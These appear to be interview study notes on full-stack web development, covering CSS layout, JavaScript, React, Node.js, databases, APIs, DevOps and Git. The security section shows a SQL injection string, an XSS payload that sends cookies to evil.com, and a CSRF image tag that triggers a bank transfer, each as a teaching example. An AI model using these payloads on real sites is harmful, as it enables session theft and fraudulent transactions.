<div>This is a block element</div>
<p>This is a <span style="color:red">red word</span> in a sentence.</p>

+---------------------------+
|        MARGIN             |
|  +---------------------+  |
|  |      BORDER         |  |
|  |  +---------------+  |  |
|  |  |   PADDING     |  |  |
|  |  |  +---------+  |  |  |
|  |  |  | CONTENT |  |  |  |
|  |  |  +---------+  |  |  |
|  |  +---------------+  |  |
|  +---------------------+  |
+---------------------------+

.container {
  display: flex;
  justify-content: center;   /* horizontal alignment */
  align-items: center;       /* vertical alignment */
  gap: 16px;
}

[ item1 ] [ item2 ] [ item3 ]   ← flex-direction: row (default)

[ item1 ]
[ item2 ]                       ← flex-direction: column
[ item3 ]

.grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 20px;
}

Non-semantic:  <div>, <span>
Semantic:      <header>, <nav>, <main>, <article>, <section>, <footer>, <aside>

/* Mobile first approach */
.card { width: 100%; }

@media (min-width: 768px) {
  .card { width: 50%; }
}

@media (min-width: 1024px) {
  .card { width: 33%; }
}

<meta name="viewport" content="width=device-width, initial-scale=1.0">

var x = 1;   // function scoped, avoid in modern JS
let y = 2;   // block scoped, reassignable
const z = 3; // block scoped, not reassignable

function counter() {
  let count = 0;
  return function() {
    count++;
    return count;
  };
}

const increment = counter();
console.log(increment()); // 1
console.log(increment()); // 2
console.log(increment()); // 3

counter() runs → returns inner function
inner function "closes over" count variable
count stays alive in memory

  Call Stack          Web APIs         Callback Queue
  ----------        ----------         --------------
  | main()  |  →   | setTimeout |  →  | callback() |
  | console |      | fetch      |     | handler()  |
  ----------        ----------         --------------
         ↑                                    |
         +------------------------------------+
                    Event Loop
                  (moves callbacks to stack when stack is empty)

// == (loose equality) - converts types
0 == "0"    // true
null == undefined // true
false == 0  // true

// === (strict equality) - no type conversion
0 === "0"   // false
null === undefined // false
false === 0 // false

Promise States:
  PENDING → FULFILLED (resolve)
          → REJECTED  (reject)

const fetchData = new Promise((resolve, reject) => {
  setTimeout(() => resolve("Data received!"), 1000);
});

fetchData
  .then(data => console.log(data))   // "Data received!"
  .catch(err => console.error(err));

// Promise way
fetch('/api/users')
  .then(res => res.json())
  .then(data => console.log(data));

// async/await way (cleaner)
async function getUsers() {
  try {
    const res = await fetch('/api/users');
    const data = await res.json();
    console.log(data);
  } catch (err) {
    console.error(err);
  }
}

function greet(greeting, punctuation) {
  return `${greeting}, ${this.name}${punctuation}`;
}

const user = { name: "Alice" };

greet.call(user, "Hello", "!");       // calls immediately, args as list
greet.apply(user, ["Hello", "!"]);    // calls immediately, args as array
const boundFn = greet.bind(user);     // returns new function, call later
boundFn("Hello", "!");

myObj → Object.prototype → null

myArray → Array.prototype → Object.prototype → null

function Animal(name) {
  this.name = name;
}
Animal.prototype.speak = function() {
  return `${this.name} makes a sound.`;
};

const dog = new Animal("Dog");
dog.speak(); // "Dog makes a sound."

// ❌ Inefficient
document.querySelectorAll('li').forEach(li =>
  li.addEventListener('click', handler)
);

// ✅ Event Delegation
document.querySelector('ul').addEventListener('click', (e) => {
  if (e.target.tagName === 'LI') {
    console.log('Clicked:', e.target.textContent);
  }
});

// Debounce
function debounce(fn, delay) {
  let timer;
  return (...args) => {
    clearTimeout(timer);
    timer = setTimeout(() => fn(...args), delay);
  };
}

// Throttle
function throttle(fn, interval) {
  let lastTime = 0;
  return (...args) => {
    const now = Date.now();
    if (now - lastTime >= interval) {
      lastTime = now;
      fn(...args);
    }
  };
}

function* counter() {
  yield 1;
  yield 2;
  yield 3;
}

const gen = counter();
gen.next(); // { value: 1, done: false }
gen.next(); // { value: 2, done: false }
gen.next(); // { value: 3, done: false }
gen.next(); // { value: undefined, done: true }

let a;          // undefined
let b = null;   // null (intentional empty)

function memoize(fn) {
  const cache = {};
  return function(...args) {
    const key = JSON.stringify(args);
    if (cache[key]) return cache[key];
    cache[key] = fn(...args);
    return cache[key];
  };
}

const slowSquare = memoize(n => n * n);
slowSquare(5); // calculates → 25
slowSquare(5); // from cache → 25

// Spread (...) - expands array/object
const arr1 = [1, 2, 3];
const arr2 = [...arr1, 4, 5]; // [1, 2, 3, 4, 5]

const obj1 = { a: 1 };
const obj2 = { ...obj1, b: 2 }; // { a: 1, b: 2 }

// Rest (...) - collects remaining args
function sum(...nums) {
  return nums.reduce((a, b) => a + b, 0);
}
sum(1, 2, 3, 4); // 10

const original = { a: 1, b: { c: 2 } };

// Shallow copy - nested objects still shared
const shallow = { ...original };
shallow.b.c = 99;
console.log(original.b.c); // 99 ← affected!

// Deep copy - completely independent
const deep = JSON.parse(JSON.stringify(original));
deep.b.c = 99;
console.log(original.b.c); // 2 ← not affected

State Change
     ↓
New Virtual DOM created
     ↓
Diff with Previous Virtual DOM (Reconciliation)
     ↓
Only changed nodes updated in Real DOM
     ↓
Browser repaints

// Runs after EVERY render
useEffect(() => { ... });

// Runs ONCE after mount (like componentDidMount)
useEffect(() => { ... }, []);

// Runs when 'count' changes
useEffect(() => { ... }, [count]);

// Cleanup function (like componentWillUnmount)
useEffect(() => {
  const sub = subscribe();
  return () => sub.unsubscribe(); // cleanup
}, []);

Without Context:          With Context:
App                       App (provides value)
 └─ Parent                 ├─ Parent
     └─ Child              │   └─ Child
         └─ GrandChild     └─ GrandChild (consumes directly)
(passes props every step)

const ThemeContext = React.createContext('light');

// Provider
<ThemeContext.Provider value="dark">
  <App />
</ThemeContext.Provider>

// Consumer
const theme = useContext(ThemeContext);

// useMemo - memoizes a COMPUTED VALUE
const sortedList = useMemo(() => {
  return heavySort(items);
}, [items]);

// useCallback - memoizes a FUNCTION
const handleClick = useCallback(() => {
  doSomething(id);
}, [id]);

App (has user)
 └─ Layout (passes user)
     └─ Sidebar (passes user)
         └─ UserAvatar (finally uses user)  ← prop drilled

// Controlled - React manages state
const [value, setValue] = useState('');
<input value={value} onChange={e => setValue(e.target.value)} />

// Uncontrolled - DOM manages state
const inputRef = useRef();
<input ref={inputRef} />
// Access with inputRef.current.value

const UserCard = React.memo(({ name, age }) => {
  console.log("Rendered!");
  return <div>{name} - {age}</div>;
});

// Only re-renders if name or age changes

// useState - simple state
const [count, setCount] = useState(0);

// useReducer - complex state with actions
const reducer = (state, action) => {
  switch(action.type) {
    case 'increment': return { count: state.count + 1 };
    case 'decrement': return { count: state.count - 1 };
    default: return state;
  }
};
const [state, dispatch] = useReducer(reducer, { count: 0 });
dispatch({ type: 'increment' });

// Without lazy loading - loads ALL components at startup
import HeavyComponent from './HeavyComponent';

// With lazy loading - loads only when needed
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <HeavyComponent />
    </Suspense>
  );
}

// Without key - React can't efficiently update list
<li>{item}</li>

// With key - React tracks each item
<li key={item.id}>{item.name}</li>

// HOC that adds loading logic
function withLoading(Component) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <Component {...props} />;
  };
}

const UserListWithLoading = withLoading(UserList);

Parent → (props) → Child
Child manages its own state internally

Browser JS  →  DOM, window, document
Node.js     →  fs, http, os, path (no DOM)

Request → [Auth Middleware] → [Logger] → [Route Handler] → Response

// Custom middleware
app.use((req, res, next) => {
  console.log(`${req.method} ${req.url}`);
  next(); // pass to next middleware
});

// Route-level middleware
app.get('/dashboard', authMiddleware, (req, res) => {
  res.send('Welcome!');
});

// CommonJS (require) - Node.js default
const express = require('express');
module.exports = { myFunc };

// ES Modules (import) - Modern standard
import express from 'express';
export const myFunc = () => {};

Request comes in
      ↓
Node delegates to OS/libuv (file read, DB query)
      ↓
Node continues handling other requests (non-blocking)
      ↓
When OS completes → callback queued → event loop picks it up
      ↓
Response sent

JWT Structure:
HEADER.PAYLOAD.SIGNATURE

eyJhbGciOiJIUzI1NiJ9  ←  Header (algorithm)
.eyJ1c2VySWQiOjF9     ←  Payload (user data)
.SflKxwRJSMeKKF2QT4f  ←  Signature (verification)

// Create token
const token = jwt.sign({ userId: 1, role: 'admin' }, SECRET_KEY, { expiresIn: '1h' });

// Verify token
const decoded = jwt.verify(token, SECRET_KEY);

Login → Server creates JWT → Client stores it
→ Client sends JWT in header → Server verifies → Access granted

User logs in (Authentication)
     ↓
Server checks role (Authorization)
     ↓
Admin → access /admin
User  → access /dashboard only

Frontend: http://localhost:3000
Backend:  http://localhost:5000   ← different origin → CORS error!

const cors = require('cors');

app.use(cors({
  origin: 'http://localhost:3000',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  credentials: true
}));

Client → [Rate Limiter] → Server
         ↓ if limit exceeded
         429 Too Many Requests

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // limit each IP to 100 requests
});

app.use('/api/', limiter);

Without pooling:         With pooling:
Request → Open DB conn   Request → Get conn from POOL
→ Query                  → Query
→ Close conn             → Return conn to POOL
(slow, resource heavy)   (fast, reusable)

POOL: [conn1] [conn2] [conn3] ... [conn10]

const pool = mysql.createPool({
  host: 'localhost',
  connectionLimit: 10, // max 10 connections
  database: 'mydb'
});

// Raw SQL
db.query('SELECT * FROM users WHERE id = 1');

// With ORM (Prisma)
const user = await prisma.user.findUnique({ where: { id: 1 } });

.env file (never commit to git!)
------------------------------
PORT=3000
DB_URL=mongodb://localhost:27017
JWT_SECRET=mysecretkey123

require('dotenv').config();

const port = process.env.PORT || 3000;
const dbUrl = process.env.DB_URL;

MVC = Model + View + Controller

Model      → Database logic (User schema, queries)
View       → UI / Templates / JSON response
Controller → Business logic, handles requests/responses

Request → Controller → Model (get data) → Controller → View (render) → Response

project/
├── models/       ← User.js, Product.js
├── views/        ← index.html or JSON
├── controllers/  ← userController.js
└── routes/       ← userRoutes.js

Event Loop order:
1. Current operation completes
2. process.nextTick() callbacks  ← runs before I/O
3. Promise microtasks
4. I/O callbacks
5. setImmediate() callbacks      ← runs after I/O
6. setTimeout/setInterval

Without index:     [row1][row2][row3]...[row1000000]  ← scan all
With index:        B-Tree index → jump directly to result

Query: WHERE email = 'alice@example.com'
Without index: O(n)  → checks every row
With index:    O(log n) → direct lookup

CREATE INDEX idx_user_email ON users(email);

Table A: [1, 2, 3]   Table B: [2, 3, 4]

INNER JOIN:  [2, 3]          ← only matching rows
LEFT JOIN:   [1, 2, 3]       ← all of A + matching B (nulls for no match)
RIGHT JOIN:  [2, 3, 4]       ← all of B + matching A (nulls for no match)
FULL JOIN:   [1, 2, 3, 4]    ← all rows from both

SELECT u.name, o.total
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;
-- Returns all users, even if they have no orders

Before normalization (redundant):
| order_id | customer_name | customer_email    | product |
|----------|--------------|-------------------|---------|
| 1        | Alice        | alice@example.com | Laptop  |
| 2        | Alice        | alice@example.com | Phone   |  ← duplicated!

After normalization:
customers: | id | name  | email             |
orders:    | id | cust_id | product         |

DELETE FROM users WHERE id = 5;   -- removes specific row
TRUNCATE TABLE logs;               -- clears all rows, keeps structure
DROP TABLE old_users;              -- removes table entirely

SQL (PostgreSQL):
  Table → Row → Column
  { id: 1, name: "Alice", age: 25 }

MongoDB:
  Collection → Document → Field
  { _id: ObjectId("..."), name: "Alice", age: 25, hobbies: ["coding", "gaming"] }

// Create index
db.users.createIndex({ email: 1 });           // ascending
db.users.createIndex({ email: 1 }, { unique: true }); // unique
db.users.createIndex({ name: "text" });       // text search
db.users.createIndex({ location: "2dsphere" }); // geo

// Check query performance
db.users.find({ email: "alice@test.com" }).explain("executionStats");

await redis.set('user:1', JSON.stringify(user), 'EX', 3600); // cache for 1hr
const cached = await redis.get('user:1');

// MongoDB transaction example
const session = await mongoose.startSession();
session.startTransaction();

try {
  await Account.updateOne({ _id: from }, { $inc: { balance: -100 } }, { session });
  await Account.updateOne({ _id: to },   { $inc: { balance: +100 } }, { session });
  await session.commitTransaction();
} catch (err) {
  await session.abortTransaction(); // rollback both
}

N+1 Problem:
1 query to get 10 users
+ 10 queries to get each user's posts
= 11 queries total!  ← very inefficient

Solution - Eager loading / populate:

// ❌ N+1 Problem
const users = await User.find();
for (const user of users) {
  user.posts = await Post.find({ userId: user._id }); // 1 per user!
}

// ✅ Fixed with populate / joins
const users = await User.find().populate('posts');
// 2 queries total

Without sharding:        With sharding:
[All 100M users]         Shard 1: [Users A-H]
on 1 server              Shard 2: [Users I-P]
(slow under load)        Shard 3: [Users Q-Z]
                         (distributed load)

GET    /users          → list all users
GET    /users/1        → get user with id 1
POST   /users          → create new user
PUT    /users/1        → replace user 1
PATCH  /users/1        → update part of user 1
DELETE /users/1        → delete user 1

# GraphQL - get exactly what you need
query {
  user(id: "1") {
    name
    posts {
      title
    }
  }
}

GET /users?page=2&limit=10

const users = await User.find()
  .skip((page - 1) * limit)
  .limit(limit);

GET /users?cursor=abc123&limit=10

const users = await User.find({ _id: { $gt: cursor } }).limit(10);

# URL versioning (most common)
GET /api/v1/users
GET /api/v2/users

# Header versioning
GET /api/users
Headers: { API-Version: 2 }

DELETE /users/1 → deletes user
DELETE /users/1 → still deleted (same result)  ← idempotent

REST (request/response):
Client → Request → Server → Response  (each message = new connection)

WebSocket (persistent):
Client ←→ Server  (open channel, both can send anytime)

Monolithic:                  Microservices:
+------------------+         +-------+  +-------+  +------+
|  Auth            |         | Auth  |  | Users |  | Shop |
|  Users           |         | Svc   |  | Svc   |  | Svc  |
|  Products        |         +-------+  +-------+  +------+
|  Orders          |              ↓          ↓         ↓
|  Payments        |         API Gateway (routes requests)
+------------------+
    One big app               Many small services

Without cache:    Client → Server → Database (slow)
With cache:       Client → Cache → return! (fast)
                         ↓ (cache miss)
                         Server → Database → update cache

            +------------------+
Clients →   |   Load Balancer  |  → Server 1
            |  (Round Robin /  |  → Server 2
            |   Least Conn.)   |  → Server 3
            +------------------+

Without CDN:          With CDN:
User (India)          User (India)
     ↓                     ↓
Server (USA)          CDN Edge (India)   ← much closer!
(high latency)        (low latency)

Vertical Scaling (Scale Up):        Horizontal Scaling (Scale Out):
+----------+                        +------+ +------+ +------+
| Server   | → bigger machine       | S1   | | S2   | | S3   |
| RAM: 8GB |   RAM: 64GB            +------+ +------+ +------+
+----------+                          ↑ Add more servers
  (has limits)                        (virtually unlimited)

Without queue:          With queue:
Order → EmailSvc        Order → [Queue] → EmailSvc (processes later)
(if email fails,        (order saved immediately, email retried)
 order might fail too)

Without Docker:          With Docker:
"Works on my machine!"   Dev → Container → Staging → Production
                         (same environment everywhere ✅)

FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
CMD ["node", "server.js"]

CI (Continuous Integration):
Developer pushes code
     ↓
Automated: tests run, code linted, build tested
     ↓
Merge to main only if all checks pass ✅

CD (Continuous Deployment/Delivery):
After CI passes
     ↓
Automatically deploy to staging/production
     ↓
Always have shippable code

Client → Reverse Proxy (Nginx) → Node.js App (port 3000)
                               → Node.js App (port 3001)

development:  .env.development
              → DB: localhost, DEBUG: true, hot reload

staging:      .env.staging
              → DB: staging server, test data

production:   .env.production
              → DB: prod server, minified, no logs

Dockerfile         → Instructions to build ONE image
docker-compose.yml → Orchestrates MULTIPLE containers

# docker-compose example
services:
  app:
    build: .
    ports: ["3000:3000"]
  db:
    image: mongo
    ports: ["27017:27017"]
  redis:
    image: redis

Client Request
      ↓
Nginx (port 80/443)
  ├─ Static files → Served by Nginx directly (fast)
  └─ API requests → Proxied to Node.js (port 3000)

server {
  listen 80;
  location / {
    proxy_pass http://localhost:3000;
  }
  location /static/ {
    root /var/www/html;
  }
}

K8s Cluster:
  Master Node (Control Plane)
        ↓
  Worker Nodes:
  +---------+  +---------+  +---------+
  | Pod     |  | Pod     |  | Pod     |
  | [app]   |  | [app]   |  | [app]   |
  +---------+  +---------+  +---------+
  (auto-restart if crash, scale up/down automatically)

-- Attack: User enters: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1';
-- Returns ALL users!

// ❌ Vulnerable
db.query(`SELECT * FROM users WHERE name = '${userInput}'`);

// ✅ Parameterized query
db.query('SELECT * FROM users WHERE name = ?', [userInput]);

<!-- Attacker inputs this in a comment: -->
<script>document.cookie; fetch('evil.com?c=' + document.cookie)</script>

User logged into bank.com
Attacker sends email with:
<img src="https://bank.com/transfer?to=attacker&amount=1000">
Browser auto-sends cookies → transfer executes!

const bcrypt = require('bcrypt');

// Hash password
const hashed = await bcrypt.hash('myPassword123', 10); // 10 = salt rounds
// Store hashed in DB

// Verify password
const match = await bcrypt.compare('myPassword123', hashed); // true

HTTP  → Data sent as plain text (interceptable)
HTTPS → Data encrypted via TLS

TLS Handshake:
Client → "Hello, I support TLS 1.3"
Server → "OK, here's my certificate"
Client → Verifies certificate
Both   → Exchange keys
Both   → Encrypted communication begins 🔒

// Using helmet.js in Express
const helmet = require('helmet');
app.use(helmet());

git merge:                    git rebase:
main: A-B-C                   main: A-B-C
feature: A-B-D-E              feature: A-B-C-D'-E' (replayed on top)

Creates a merge commit        Linear, clean history
Preserves full history        Rewrites history

1. Create feature branch:    git checkout -b feature/user-auth
2. Make commits:             git commit -m "Add login endpoint"
3. Push to remote:           git push origin feature/user-auth
4. Open Pull Request on GitHub
5. Code review by teammates
6. Address feedback, push more commits
7. PR approved → Merge to main
8. Delete feature branch

pre-commit  → run linter/tests before commit
pre-push    → run tests before pushing
commit-msg  → validate commit message format

1. ASSESS    → How severe? What's impacted?
2. CONTAIN   → Rollback to last stable version if needed
3. DIAGNOSE  → Check logs (Sentry, CloudWatch), reproduce locally
4. FIX       → Minimal, focused fix (don't refactor under pressure)
5. DEPLOY    → Test in staging, deploy with monitoring
6. DOCUMENT  → Write post-mortem: what happened, why, how to prevent

1. Technical growth  → System design, architecture, tech lead skills
2. Team leadership   → Mentoring juniors, leading code reviews
3. Product thinking  → Understanding business impact of tech decisions
4. Specialization OR breadth → Choose your path (specialist vs. generalist)

HTML/CSS      → Box model, Flexbox vs Grid, Responsive design
JS Core       → Closures, Event loop, Promises, async/await, Prototype
React         → Virtual DOM, Hooks, Context, Memo, Lifecycle
Node.js       → Event loop, Middleware, JWT, CORS
Databases     → ACID, Indexes, N+1, SQL vs NoSQL
APIs          → REST methods, Status codes, GraphQL, WebSocket
System Design → Caching, Load balancer, Microservices, CDN
Security      → XSS, CSRF, SQL injection, bcrypt, HTTPS
DevOps        → Docker, CI/CD, Nginx, PM2
Git           → Merge vs Rebase, PR workflow, Hooks